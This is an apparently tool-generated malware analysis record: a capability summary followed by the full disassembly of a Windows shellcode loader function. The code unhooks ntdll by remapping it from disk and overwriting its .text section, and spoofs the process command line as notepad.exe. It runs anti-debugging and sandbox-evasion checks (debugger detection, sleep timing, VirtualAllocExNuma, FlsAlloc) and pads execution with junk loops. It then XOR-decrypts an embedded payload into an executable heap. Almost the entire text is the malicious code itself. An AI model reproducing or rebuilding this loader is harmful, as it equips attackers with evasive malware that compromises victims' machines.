Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x938
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x8a0], xmm6
mov dword [rbp + 0x8e0], ecx
mov qword [rbp + 0x8e8], rdx
call fcn.140002b20
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x810], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x808], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x800], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x898], rax
cmp qword [rbp + 0x898], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x898], rax
mov ecx, 0x30c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7f8], rax
mov dword [rbp + 0x894], 0
mov dword [rbp + 0x7f4], 1
mov dword [rbp + 0x890], 0
jmp 0x1400015d3
mov dword [rbp + 0x88c], 0
jmp 0x1400015c3
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x890]
movsxd rdx, edx
imul rcx, rdx, 0x9c
mov rdx, qword [rbp + 0x7f8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x88c]
cdqe
mov dword [r8 + rax*4], edx
add dword [rbp + 0x88c], 1
cmp dword [rbp + 0x88c], 0x26
jle 0x140001571
add dword [rbp + 0x890], 1
cmp dword [rbp + 0x890], 0x4f
jle 0x140001565
mov dword [rbp + 0x890], 0
jmp 0x14000163a
mov dword [rbp + 0x88c], 0
jmp 0x14000162a
mov eax, dword [rbp + 0x890]
cdqe
imul rdx, rax, 0x9c
mov rax, qword [rbp + 0x7f8]
add rdx, rax
mov eax, dword [rbp + 0x88c]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001623
add dword [rbp + 0x894], 1
add dword [rbp + 0x88c], 1
cmp dword [rbp + 0x88c], 0x26
jle 0x1400015f4
add dword [rbp + 0x890], 1
cmp dword [rbp + 0x890], 0x4f
jle 0x1400015e8
cmp dword [rbp + 0x894], 0x618
je 0x140001659
mov dword [rbp + 0x7f4], 0
mov rax, qword [rbp + 0x7f8]
mov rcx, rax
call sub.msvcrt.dll_free
cmp qword [rbp + 0x898], 0
je 0x140001a55
mov dword [rbp + 0x7f0], 1
mov ecx, 0x50c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7e8], rax
mov qword [rbp + 0x880], 2
jmp 0x1400016c5
mov rax, qword [rbp + 0x880]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e8]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x880], 1
cmp qword [rbp + 0x880], 0x142
jbe 0x14000169e
mov qword [rbp + 0x880], 2
jmp 0x14000175c
mov rax, qword [rbp + 0x880]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e8]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001754
mov rax, qword [rbp + 0x880]
mov qword [rbp + 0x878], rax
jmp 0x14000173d
mov rax, qword [rbp + 0x880]
imul rax, qword [rbp + 0x878]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e8]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x878], 1
mov rax, qword [rbp + 0x880]
imul rax, qword [rbp + 0x878]
cmp rax, 0x142
jbe 0x14000170e
add qword [rbp + 0x880], 1
cmp qword [rbp + 0x880], 0x142
jbe 0x1400016df
mov rax, qword [rbp + 0x7e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x620]
mov rax, qword [rbp + 0x800]
mov r10, qword [rbp + 0x898]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x7e0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7d0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7e0]
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7e0]
add rax, rdx
mov qword [rbp + 0x7b8], rax
mov word [rbp + 0x876], 0
jmp 0x140001a3d
mov rax, qword [rbp + 0x7b8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7b8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x876]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7b0], rax
mov dword [rbp + 0x870], 0
jmp 0x140001931
call sub.msvcrt.dll_rand
imul eax, eax, 0xf8
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006640]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003cc0
movq rax, xmm0
mov qword [rbp + 0x7a8], rax
add dword [rbp + 0x870], 1
cmp dword [rbp + 0x870], 0x1f2
jle 0x1400018f0
mov rax, qword [rbp + 0x7b0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001a2c
mov dword [rbp + 0x5e4], 0
mov rax, qword [rbp + 0x7b0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7b0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7e0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5e4]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7b0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7b0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7b0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7e0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5e4]
mov rax, qword [rbp + 0x7b0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7b0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7e0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5e4]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x876]
add eax, 1
mov word [rbp + 0x876], ax
mov rax, qword [rbp + 0x7b8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x876], ax
jb 0x1400018a8
mov dword [rbp + 0x5ec], 0
mov rax, qword [rbp + 0x810]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5f0]
lea rax, [rbp + 0x5ec]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x7a0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov dword [rbp + 0x86c], 0
jmp 0x140001b41
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x6bca1af3
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x648], eax
mov ecx, dword [rbp + 0x648]
mov eax, ecx
shl eax, 3
add eax, ecx
add eax, eax
add eax, ecx
sub edx, eax
mov dword [rbp + 0x648], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006640]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x648]
movq xmm0, rax
call fcn.140003bf0
movq rax, xmm0
mov qword [rbp + 0x640], rax
add dword [rbp + 0x86c], 1
cmp dword [rbp + 0x86c], 0x12e
jle 0x140001ac2
mov rax, qword [rbp + 0x5f8]
add rax, 0x3c
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x798]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x5e8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x790], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5e8]
mov r8, qword [rbp + 0x790]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5e8]
cmp eax, 1
je 0x140002a4b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x780], rax
cmp qword [rbp + 0x780], 0
jne 0x140002a4b
mov dword [rbp + 0x77c], 0x35e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x770], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
call rax
mov dword [rbp + 0x764], eax
mov eax, dword [rbp + 0x77c]
mov r8, qword [rbp + 0x770]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x768]
call rax
mov dword [rbp + 0x760], eax
mov eax, dword [rbp + 0x760]
sub eax, dword [rbp + 0x764]
cmp eax, 0x32c
jbe 0x140002a4b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x758], rax
cmp qword [rbp + 0x758], 0
je 0x140001d5d
mov rax, qword [rbp + 0x758]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
mov ecx, 0
call rax
mov dword [rbp + 0x868], eax
cmp dword [rbp + 0x868], 0xffffffff
je 0x140002a4b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
call rax
mov dword [rbp + 0x744], eax
mov ecx, 0x3e0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x748]
call rax
mov dword [rbp + 0x740], eax
mov eax, dword [rbp + 0x740]
sub eax, dword [rbp + 0x744]
cmp eax, 0x3ae
jbe 0x140002a4b
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x738], rax
cmp qword [rbp + 0x738], 0
je 0x140001e36
mov rax, qword [rbp + 0x738]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [rbp + 0x730]
mov ecx, 0
call rax
mov dword [rbp + 0x864], eax
cmp dword [rbp + 0x864], 0xffffffff
je 0x140002a4b
mov qword [rbp + 0x858], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x728], rax
cmp qword [rbp + 0x728], 0
je 0x140001ed0
mov rax, qword [rbp + 0x728]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x720]
mov r9d, 0x3000
mov r8d, 0x2ef
mov edx, 0
call rax
mov qword [rbp + 0x858], rax
cmp qword [rbp + 0x858], 0
je 0x140002a4b
mov dword [rbp + 0x5e0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5e0]
mov r8, qword [rbp + 0x718]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5e0]
cmp eax, 1
je 0x140002a4b
mov dword [rbp + 0x714], 0x280
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
call rax
mov dword [rbp + 0x6fc], eax
mov eax, dword [rbp + 0x714]
mov r8, qword [rbp + 0x708]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x700]
call rax
mov dword [rbp + 0x6f8], eax
mov eax, dword [rbp + 0x6f8]
sub eax, dword [rbp + 0x6fc]
cmp eax, 0x24e
jbe 0x140002a4b
mov qword [rbp + 0x6f0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6e8]
mov r9d, 0x3000
mov r8d, 0x35b
mov edx, 0
call rax
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0
je 0x140002a4b
lea rax, [rbp + 0xe0]
lea rdx, [0x140006140]
mov ecx, 0x9f
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov dword [rbp + 0x854], 0
mov dword [rbp + 0x850], 1
mov dword [rbp + 0x84c], 0
mov dword [rbp + 0x6e4], 0x23c
jmp 0x140002121
mov edx, dword [rbp + 0x854]
mov eax, dword [rbp + 0x850]
add eax, edx
mov dword [rbp + 0x64c], eax
add dword [rbp + 0x84c], 1
mov eax, dword [rbp + 0x850]
mov dword [rbp + 0x854], eax
mov eax, dword [rbp + 0x64c]
mov dword [rbp + 0x850], eax
mov eax, dword [rbp + 0x84c]
cmp eax, dword [rbp + 0x6e4]
jl 0x1400020ee
mov rax, qword [rbp + 0x808]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov dword [rbp + 0x848], 0xffffffff
mov ecx, 0xe08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d0], rax
mov ecx, 0xe08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c8], rax
add dword [rbp + 0x848], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x848]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6d0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x848]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x848]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6c8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003b10
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x848], 0x1bf
jle 0x14000217c
mov rax, qword [rbp + 0x808]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov dword [rbp + 0x6bc], 0
mov dword [rbp + 0x83c], 0
mov ecx, 0x34d4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b0], rax
mov dword [rbp + 0x844], 0
jmp 0x14000235a
mov dword [rbp + 0x840], 0
jmp 0x140002346
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x844]
movsxd rdx, edx
imul rcx, rdx, 0xc4
mov rdx, qword [rbp + 0x6b0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x840]
cdqe
mov dword [r8 + rax*4], edx
mov eax, dword [rbp + 0x844]
cdqe
imul rdx, rax, 0xc4
mov rax, qword [rbp + 0x6b0]
add rdx, rax
mov eax, dword [rbp + 0x840]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x14000233f
add dword [rbp + 0x83c], 1
add dword [rbp + 0x840], 1
cmp dword [rbp + 0x840], 0x30
jle 0x1400022c5
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x44
jle 0x1400022b6
cmp dword [rbp + 0x83c], 0x69a
jne 0x14000237d
mov dword [rbp + 0x6bc], 1
mov rax, qword [rbp + 0x6b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6d8]
mov r8d, 0
mov edx, 0x4fe
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
mov r9, qword [rbp + 0x6c0]
mov r8d, 0x4fe
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x810]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
lea rdx, [rbp + 0xe0]
mov rax, qword [rbp + 0x6a0]
mov r9, qword [rbp + 0x698]
mov r8d, 0x4fe
mov rcx, rax
call r9
mov ecx, 0x5cc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x690], rax
mov ecx, 0x5cc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
mov ecx, 0x5cc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
mov ecx, 0x5cc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov dword [rbp + 0x830], 0x172
mov dword [rbp + 0x834], 0
jmp 0x14000257d
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x834]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x690]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x834]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x688]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x830]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x690]
add rax, rdx
mov edx, dword [rbp + 0x834]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x680]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x830]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x688]
add rax, rdx
mov edx, dword [rbp + 0x834]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x678]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x830], 1
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x172
jle 0x140002471
mov rax, qword [rbp + 0x690]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x688]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x680]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x82c], 0
mov dword [rbp + 0x828], 0
movabs rax, 0xf19a427530dd2fd5
movabs rdx, 0x35891fe96f08ecde
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xc318d0ce8c839163
movabs rdx, 0xb27c0989bca6794f
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x4bec0e60b231f740
movabs rdx, 0xaca9bec779a42b99
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x335658ee2cb665b
movabs rdx, 0x686d1d06eeca0a95
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x76d68439d922091
movabs rdx, 0xa18a3667b7377c99
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x404603bf97204d1f
movabs rdx, 0xfb69601bb9387987
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xeb96b05fd4fb0ff4
movabs rdx, 0xae2d680e8947239
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x634a0ae2d680e894
movabs rdx, 0xb67d0b2e0d22b1
mov qword [rbp + 0xca], rax
mov qword [rbp + 0xd2], rdx
movabs rax, 0x438cfcc79797d531
movabs rdx, 0x81a01427c6dac905
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0xf5d282cb697e581
movabs rdx, 0xa57d562de311ae60
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xd863062dca7d2556
movabs rdx, 0xd3e2a0438043007d
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xeccc8c810338964
movabs rdx, 0x77b1f1fe41a470ef
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xccf77b1f1fe41a4
movabs rdx, 0x486b113278705f
mov qword [rbp + 0x4a], rax
mov qword [rbp + 0x52], rdx
mov dword [rbp + 0x838], 0
jmp 0x1400028e3
mov eax, dword [rbp + 0x838]
cdqe
movzx edx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x82c]
cdqe
movzx eax, byte [rbp + rax + 0x60]
xor edx, eax
mov eax, dword [rbp + 0x838]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x82c], 0x78
jne 0x1400028d5
mov ecx, 0xba8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x650], rax
mov dword [rbp + 0x820], 0
mov dword [rbp + 0x81c], 0
mov dword [rbp + 0x824], 0
jmp 0x14000282f
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x824]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x650]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x2e9
jle 0x1400027e2
mov dword [rbp + 0x824], 0
mov dword [rbp + 0x824], 0
jmp 0x1400028ae
mov eax, dword [rbp + 0x824]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x650]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x14000287d
add dword [rbp + 0x820], 1
jmp 0x1400028a7
mov eax, dword [rbp + 0x824]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x650]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x1400028a7
add dword [rbp + 0x81c], 1
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x2e9
jle 0x140002851
mov rax, qword [rbp + 0x650]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x82c], 0
jmp 0x1400028dc
add dword [rbp + 0x82c], 1
add dword [rbp + 0x838], 1
mov eax, dword [rbp + 0x838]
cmp eax, 0x48
jbe 0x14000277c
mov dword [rbp + 0x838], 0
jmp 0x14000295f
mov eax, dword [rbp + 0x838]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x828]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x838]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x828], 0x48
jne 0x140002951
mov dword [rbp + 0x828], 0
jmp 0x140002958
add dword [rbp + 0x828], 1
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x4fd
jle 0x1400028fe
